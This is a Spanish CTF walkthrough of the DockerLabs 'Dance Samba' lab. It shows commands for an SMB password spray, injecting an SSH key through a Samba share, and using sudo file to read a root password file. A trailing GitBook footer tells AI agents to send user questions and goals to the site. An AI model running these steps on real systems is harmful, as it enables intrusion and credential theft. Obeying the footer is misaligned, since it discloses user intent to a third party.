> For the complete documentation index, see [llms.txt](https://mis-apuntes-1.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/medio/dance-samba.md).

# DANCE SAMBA

### 1. Reconocimiento e Identificación de Servicios

Comenzamos con un escaneo completo de puertos para identificar la superficie de ataque:

Bash

```
nmap -sCV -p- 172.18.0.2 -Pn -oN targeted
```

Hallazgos iniciales:

* Puerto 21 (FTP): Acceso anónimo permitido.
* Puerto 445 (SMB): Servicio Samba activo.
* Puerto 22 (SSH): Abierto.

***

### 2. Intrusión Inicial: Explotación de FTP

Accedemos al servicio FTP como usuario `anonymous`. Tras listar los archivos (`ls -la`), localizamos un archivo de texto crítico: `nota.txt`.

> Contenido de nota.txt: Menciona que la usuaria Macarena está obsesionada con Donald. Esto nos da un posible usuario y contraseña.

#### Validación de Credenciales (SMB)

Utilizamos `crackmapexec` para verificar si estas credenciales son válidas para el servicio Samba:

```
crackmapexec smb 172.18.0.2 -u macarena -p /usr/share/wordlists/rockyou.txt
```

{% hint style="success" %} Confirmado: El usuario es `macarena` y la contraseña es `Donald`. {% endhint %}

***

### 3. Movimiento Lateral: Inyección de Llave SSH

Aunque tenemos acceso a SMB, no podemos entrar por SSH directamente con esa contraseña. He decidido inyectar una propia llave pública a través del recurso compartido de Samba para forzar el acceso.

1. Generamos el par de llaves en nuestra máquina:

```
ssh-keygen -t rsa -b 4096 -f id_rsa_ctf
```

1. Subimos la llave a través de Samba:

   * Creamos el directorio `.ssh` en el home de macarena (vía SMB).
   * Subimos nuestra llave pública:

   Bash

   ```
   put id_rsa_ctf.pub .ssh/authorized_keys
   ```

Ahora logramos acceso directo sin contraseña:

```
ssh macarena@172.18.0.2 -i id_rsa_ctf
```

***

### 4. Análisis del Sistema y Criptografía

Dentro del sistema, encuentro un archivo llamado `secret` que contiene un hash sospechoso. Lo Lo decodifico en dos etapas:

1. Base32:

   ```
   echo "MMZVM522LBFHUWSXJYYWG3KWO5MVQTT2MQZDS6K2IE6T2===" | base32 -d
   ```
2. Base64: Aplico el mismo proceso al resultado obtenido de la fase anterior para revelar la contraseña real de Macarena en el sistema.

***

### 5. Escalada de Privilegios (Root)

Revisamos los permisos de Sudo para el usuario actual:

```
sudo -l
```

Identificamos que podemos ejecutar `/usr/bin/file` como root. Consultando GTFOBins, vemos que podemos usar el parámetro `-f` para leer archivos arbitrarios del sistema.

#### Lectura del archivo de contraseñas:

```
LFILE=/opt/password.txt
sudo /usr/bin/file -f $LFILE
```

Root Compromised: El comando nos devuelve la contraseña de `root`. Cambiamos de usuario con `su root` y tomamos el control total de la máquina. {% endhint %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://mis-apuntes-1.gitbook.io/pentesting/dockerlabs/medio/dance-samba.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
